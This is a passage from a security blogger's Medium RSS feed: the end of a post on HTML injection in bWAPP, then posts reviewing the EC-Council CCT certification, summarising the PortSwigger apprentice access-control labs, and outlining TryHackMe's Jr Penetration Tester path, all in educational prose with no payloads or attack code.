href="https://www.youtube.com/watch?v=EjIjZDrT6-0">https://www.youtube.com/watch?v=EjIjZDrT6-0</a></p><p>In contrast, S<strong>tored HTML Injection</strong> is a persistent vulnerability where the injected payload is saved on the server and later displayed to same/other users. This makes it more dangerous than reflected injection, as the malicious content continues to affect every user who accesses the compromised page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*8WQV5FYzjfsZQ37y5wZRdA.png" /></figure><p>In the bWAPP Blog page, user input submitted through blog form is stored in the backend database and rendered without proper sanitization. An attacker can inject HTML content into a blog post, and whenever another user views that post, the injected content is executed in their browser. This enables attackers to perform persistent UI manipulation, defacement, and large-scale phishing attacks by embedding fake login forms or misleading messages within blog content, increasing the likelihood of user interaction and data compromise.<br><strong>Video Walkthrough</strong>: <a href="https://www.youtube.com/watch?v=WKh58-6faz8">https://www.youtube.com/watch?v=WKh58-6faz8</a></p><p>To mitigate HTML Injection vulnerabilities, developers must implement robust security controls. Input validation should restrict the type of data accepted by the application, while output encoding ensures that user input is rendered as plain text rather than executable HTML. Additionally, using security headers such as Content Security Policy (CSP) can help limit the impact of injected content.</p><p>Thanks for reading..</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ac86e1030b7f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[EC-Council Certified Cybersecurity Technician (CCT) Certification Review]]></title>
            <link>https://medium.com/@Kamal_S/ec-council-certified-cybersecurity-technician-cct-certification-review-c4d85999882c?source=rss-e2d951bce6c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/c4d85999882c</guid>
            <category><![CDATA[security-certifications]]></category>
            <category><![CDATA[certified-cybersecurity]]></category>
            <category><![CDATA[ec-council]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctc]]></category>
            <dc:creator><![CDATA[Kamal S]]></dc:creator>
            <pubDate>Sat, 13 Jun 2026 11:08:41 GMT</pubDate>
            <atom:updated>2026-06-13T14:57:21.200Z</atom:updated>
            <content:encoded><![CDATA[<p>With so many cybersecurity certifications available today, it’s easy to get lost when choosing the right starting point. One of the newer additions is the Certified Cybersecurity Technician (CCT) from EC-Council — but how useful is it in practice?. Recently, I completed the <strong>Certified Cybersecurity Technician (CCT)</strong> certification from <strong>EC-Council</strong>. In this blog, I want to share my experience, key learnings, and whether this certification is worth pursuing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UW5lVIxeYoOPz6kNnn7mmw.png" /></figure><p><strong>Understanding the EC-Council CCT Certification</strong><br>The Certified Cybersecurity Technician (CCT) is positioned as a beginner to early-intermediate certification designed to build a strong foundation in cyber security. Unlike purely theoretical certifications, CCT focuses on hands-on skills by covering multiple domains instead of going deep into one, making it ideal for beginners and professionals transitioning into cybersecurity roles.</p><p>Review Video — <a href="https://www.youtube.com/watch?v=_gcO4aJG5Lg">https://www.youtube.com/watch?v=_gcO4aJG5Lg</a></p><p><strong>Key areas include:</strong><br>Cybersecurity fundamentals<br>Threats, vulnerabilities, and attacks<br>Network security concepts<br>Application and Mobile security<br>Endpoint and system security<br>Basic incident response and handling</p><p><strong>Reasons to Pursue the CCT Certification</strong><br>1. Beginner-Friendly Structure: CCT is designed for people who are just entering cyber security or transitioning into cyber security domain. The learning path is structured and doesn’t require prior deep knowledge.<br>2. Broad Coverage of Domains: Instead of focusing only on one area (like web security or networking), it gives you a 360° view of cyber security, which is useful early in your career and helps in deciding interest area for future direction.<br>3. Hands-On Approach: CCT puts emphasis on Labs/Practical scenarios alongwith learning videos..</p><p><strong>Limitations of the CCT Certification</strong><br>CCT provides broad coverage across multiple domains, but as a beginner-level certification, it doesn’t dive deeply into any specific area. <br>If you already have hands-on experience, you may find the content quite basic with limited additional technical depth.<br>The CCT certification is not as widely recognized as other global entry-level certifications and is still in the process of gaining industry recognition.</p><p><strong>Exam Preparation Strategy</strong><br>I wouldn’t describe the exam as very easy, even though it’s a beginner-level certification. The difficulty is moderate and it primarily focuses on:<br>Conceptual clarity<br>Basic scenario-based questions<br>Practical challenges</p><p><strong>Exam format:</strong> The exam consists of 60 questions in total and is scored out of 100 marks, combining multiple-choice questions with practical challenges, where the practical section carries higher weightage.</p><p><strong>Note</strong>: If you’ve completed the training and practiced the labs thoroughly, you should be able to clear the exam without much difficulty.</p><p><strong>Is the CCT Certification Worth It?</strong><br><strong>Who Can Consider CCT:</strong><br>Students or freshers interested in entering cybersecurity domain<br>IT professionals transitioning into security<br>Anyone looking for structured foundational and hands-on learning</p><p><strong>Who Can Skip CCT:</strong><br>Experienced security professionals/penetration testers<br>People looking for deep technical specialization</p><p><strong>Final Verdict</strong><br>The EC-Council CCT certification is a well-designed program for building cybersecurity fundamentals and if you’re just starting out, CCT can give you a structured path and confidence. But if you already have hands-on experience in cybersecurity, you’re better off investing time in more advanced, specialized certifications. In summary, this certification can serve as a strong stepping stone for beginners, while for experienced professionals, it works more as a refresher and a means to validate foundational knowledge.</p><p>Thanks for reading..</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c4d85999882c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Web Security Academy — Access Control Vulnerabilities (Apprentice Level Labs)]]></title>
            <link>https://medium.com/@Kamal_S/web-security-academy-access-control-vulnerabilities-apprentice-level-labs-5c4036907b94?source=rss-e2d951bce6c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/5c4036907b94</guid>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[burpsuite]]></category>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[access-control]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Kamal S]]></dc:creator>
            <pubDate>Sun, 07 Jun 2026 07:52:44 GMT</pubDate>
            <atom:updated>2026-06-07T07:52:44.200Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Access control</strong> vulnerabilities are among the most dangerous security flaws found in web applications. <strong>Broken Access Control</strong> has ranked <strong>1</strong> in the latest <strong>OWASP Top 10</strong> list and successful exploit can allow attackers to access sensitive data, perform unauthorized actions, or even gain administrative privileges. Access control determines what actions a user is allowed to perform after authentication. When these restrictions are implemented incorrectly, attackers can bypass authorization checks and access resources that should be restricted.</p><figure><img alt="https://www.youtube.com/playlist?list=PL4puCUKKe71kYZXD1KgdBJZnQk9lRr396" src="https://cdn-images-1.medium.com/max/1024/1*xk8lyn0qLGudNSHrXYFGnw.png" /></figure><p>One of the best platforms for learning access control testing is the <a href="https://portswigger.net/web-security/access-control">PortSwigger </a>Web Security Academy. The academy provides free, hands-on labs that simulate real-world vulnerabilities and teaches professionals how authorization flaws occur in practice.</p><p>In this article, we will explore the key concepts covered in the <strong>Apprentice-level Access Control Vulnerabilities</strong> labs and understand the mindset required to identify and exploit these weaknesses.</p><p>Before diving into the labs, it is important to understand the three major categories of access control.<br><strong>Vertical Access Control</strong> restricts functionality based on user roles. For example, an administrator may be allowed to delete users, while a regular user cannot.</p><p><strong>Horizontal Access Control</strong> restricts access between users of the same privilege level. A customer should only be able to view their own account information and not another customer’s data.</p><p><strong>Context-Dependent Access Control </strong>restricts actions based on the application’s state or workflow. Users may be required to complete specific steps before accessing certain functionality.</p><p>The <a href="https://portswigger.net/web-security/all-labs#access-control-vulnerabilities">Apprentice labs</a> primarily focus on discovering situations where these controls are either missing, improperly implemented, or easily bypassed.</p><p><strong>Lab 1: Unprotected Admin Functionality</strong><br>The application contains administrative functionality that is not properly protected. Although the normal user interface does not display links to the admin panel, attackers frequently discover hidden endpoints through source code review, JavaScript analysis, robots.txt files, archived URLs, or brute-force content discovery.<br><strong>Video Walkthrough</strong>: <a href="https://www.youtube.com/watch?v=2zlpGFuqiWI">https://www.youtube.com/watch?v=2zlpGFuqiWI</a></p><p><strong>Lab 2: Unprotected Admin Functionality with Unpredictable URL</strong><br>Developers sometimes attempt to improve security by moving administrative functionality to obscure or difficult-to-guess URLs. The application assumes that attackers will not discover the URL. However, hidden endpoints often leak through JavaScript files, comments, configuration files, backup files, or client-side code.<br><strong>Video Walkthrough</strong>: <a href="https://www.youtube.com/watch?v=HqUe6it8zoo">https://www.youtube.com/watch?v=HqUe6it8zoo</a></p><p><strong>Lab 3: User Role Controlled by Request Parameter</strong><br>This lab introduces vertical privilege escalation vulnerability. The application stores authorization information within a user-controlled parameter. Any information sent from the client should be considered untrusted and authorization decisions must be made using server-side session data rather than values supplied by the user. Cookies are often used to store session information, but insecure implementations may store privilege information directly inside the cookie and modifying a cookie value grants elevated privileges. <br><strong>Video Walkthrough</strong>: <a href="https://www.youtube.com/watch?v=HvQYU7N82t8">https://www.youtube.com/watch?v=HvQYU7N82t8</a></p><p><strong>Lab 4: User Role Can Be Modified in User Profile</strong><br>Applications often expose APIs that allow users to update profile information. If developers fail to implement proper validation, attackers may be able to modify sensitive attributes such as account roles. The objective of this lab is to identify a profile update mechanism and manipulate parameters that should never be user-controlled. This vulnerability is closely related to mass assignment and insecure object binding issues.<br><strong>Video Walkthrough</strong>: <a href="https://www.youtube.com/watch?v=-fmUnBIZfts">https://www.youtube.com/watch?v=-fmUnBIZfts</a></p><p><strong>Lab 5: User ID controlled by request parameter</strong><br>This lab introduces Horizontal privilege escalation vulnerability. The application uses a user-controlled parameter to fetch account information without verifying whether the logged-in user is authorized to access that specific resource. An attacker intercepts a request and modifies the userId parameter to another user’s identifier. This results in unauthorized access to sensitive data such as account details or API keys.<br><strong>Video Walkthrough</strong>: <a href="https://www.youtube.com/watch?v=Ky6IsxxZkFE">https://www.youtube.com/watch?v=Ky6IsxxZkFE</a></p><p><strong>Lab 6: User ID controlled by request parameter, with unpredictable user IDs</strong><br>The application uses unpredictable user IDs (e.g., GUIDs/UUIDs) in request parameters to access user data but fails to enforce proper authorization checks. Discover another user’s ID via public features (e.g., blog posts, comments, author profiles). Intercept requests and replace their own userId with the victim’s ID to access sensitive data.<br><strong>Video Walkthrough</strong>: <a href="https://www.youtube.com/watch?v=awYLE9wRSD0">https://www.youtube.com/watch?v=awYLE9wRSD0</a></p><p><strong>Lab 7: User ID controlled by request parameter with data leakage in redirect</strong><br>The application attempts to enforce access control but leaks sensitive data in a redirect response when unauthorized access is attempted. Although the application detects unauthorized access and issues a redirect, it includes sensitive information (e.g., API key) in the response before redirecting, which can be captured by an attacker.<br><strong>Video Walkthrough</strong>: <a href="https://www.youtube.com/watch?v=RRls6Y5iuoA">https://www.youtube.com/watch?v=RRls6Y5iuoA</a></p><p><strong>Lab 8: User ID controlled by request parameter with password disclosure</strong><br>The application allows users to access account details using a userId parameter and exposes the user’s password in the response, without verifying authorization. <br><strong>Video Walkthrough</strong>: <a href="https://www.youtube.com/watch?v=1rNDjPaMWhI">https://www.youtube.com/watch?v=1rNDjPaMWhI</a></p><p><strong>Lab 9: Insecure direct object references</strong><br>The application exposes direct references to internal objects (e.g., file names, IDs) and fails to validate whether the authenticated user is authorized to access them. Observe a request that fetches a resource (e.g., chat logs) and modify the object reference to access unauthorized data belonging to other users<br><strong>Video Walkthrough</strong>: <a href="https://www.youtube.com/watch?v=n0o-5r8KS3k">https://www.youtube.com/watch?v=n0o-5r8KS3k</a></p><p>Although PortSwigger labs are intentionally simplified for learning purposes, the underlying concepts appear frequently in production environments. Security professionals often encounter missing authorization checks, insecure direct object references (IDORs), privilege escalation flaws, and access control misconfigurations during assessments.</p><p>For aspiring penetration testers, bug bounty hunters, and application security engineers, mastering these beginner labs is an essential step toward understanding more advanced authorization flaws such as IDORs, multi-step workflow bypasses, context-dependent access control issues, and complex privilege escalation chains.</p><p>Thanks for reading and happy ethical hacking..</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5c4036907b94" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe — Jr Penetration Tester Learning Path]]></title>
            <link>https://medium.com/@Kamal_S/tryhackme-jr-penetration-tester-learning-path-df079b558aa1?source=rss-e2d951bce6c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/df079b558aa1</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[jpt]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[owasp]]></category>
            <dc:creator><![CDATA[Kamal S]]></dc:creator>
            <pubDate>Sun, 31 May 2026 07:12:32 GMT</pubDate>
            <atom:updated>2026-05-31T07:12:32.159Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://tryhackme.com/paths">TryHackMe </a>— <strong>Jr Penetration Tester </strong>Learning Path is a complete guide for aspiring pentesters and even experienced professionals.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*I2Uw9fxAIaoShMEaqct1mA.png" /></figure><p>Breaking into the field of cybersecurity specially penetration testing can feel overwhelming. With countless tools, methodologies, and concepts to master, beginners often struggle to find a structured starting point. <br>In this blog, I will walk you through the updated Jr Penetration Tester path which is designed to cover various topics alongwith hands-on labs, allowing you to learn by actually doing not just reading. This path focuses on real-world attack techniques, tools, and methodologies aligned with industry practices.</p><blockquote>The learning path is structured to progressively build your knowledge across multiple domains:</blockquote><p><strong>Start Your Cyber Security Journey </strong>— Introduces the fundamentals of both offensive and defensive security, helping you understand the broader security landscape.</p><p><strong>Penetration Testing Foundations </strong>— An introduction to web and infrastructure testing methodologies, alongside a breakdown of popular industry-standard frameworks.</p><p><strong>Network Reconnaissance</strong> — Explains passive and active reconnaissance techniques, along with the usage and importance of commonly used network protocols.</p><p><strong>Nmap </strong>— Practical usage of the industry’s go-to tool for host discovery, port scanning, and network mapping.</p><p><strong>Web Application Security Fundamentals</strong> — A look at modern web architecture, popular tech stacks, and an introduction to common web-based attack vectors.</p><p><strong>Burp Suite </strong>— Demonstrates one of the most powerful tools for web application security testing, including manual testing techniques (Intercept, Repeater, etc.) and automated scanning capabilities in the professional version.</p><p><strong>Web Application Vulnerabilities I </strong>— Deep dives into critical flaws, including SQL Injection (SQLi), Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), and Insecure Direct Object References (IDOR).</p><p><strong>Web Application Vulnerabilities II </strong>— Advanced exploitation techniques covering Session Management issues, Broken Authentication, File Inclusion, Command Injection, and API Pentesting.</p><p><strong>Vulnerability Knowledge</strong> — Understanding global databases like CVE and NVD, coupled with practical exercises in exploiting known CVEs using standard security tools.</p><p><strong>OWASP Top 10 (2025)</strong> — A comprehensive look at the latest iteration of the most critical security risks found in modern web applications.</p><p><strong>Password Attacks </strong>— Explains various password attack techniques using tools like Hydra, Hashcat, and John the Ripper.</p><p><strong>Metasploit and Exploitation </strong>— A practical guide to leveraging Metasploit for vulnerability exploitation and post-exploitation tasks.</p><p><strong>Privilege Escalation </strong>— Tactics for elevating your access rights from a standard user to root or administrator after establishing an initial foothold on a target server.</p><p><strong>Active Directory Security Testing Basics </strong>— An introduction to AD environments, common misconfigurations, and fundamental exploitation techniques.</p><p><strong>Specialized Domains </strong>— Broadening the scope with introductions to Wireless and Mobile App security, Cloud infrastructure, LLM Pentesting, and DevSecOps principles.</p><p><strong>Python Scripting Basics</strong> — Introduces Python as a key language for writing scripts, building tools, and developing custom exploitation workflows.</p><p><strong>Pentesting Methodologies and Reporting </strong>— The professional side of pentesting, covering threat modeling, engagement planning, and the critical skill of writing effective, actionable reports.</p><p><strong>Jr Pentester Challenges</strong> — A hands-on section consisting of practical challenges that require applying concepts learned throughout the path.</p><p>The Jr Penetration Tester Learning Path on TryHackMe is not just an excellent starting point for beginners entering penetration testing, but also a valuable resource for experienced pentesters looking to reinforce fundamentals and uncover new techniques.</p><p>Thanks for reading and happy ethical hacking..</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=df079b558aa1" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>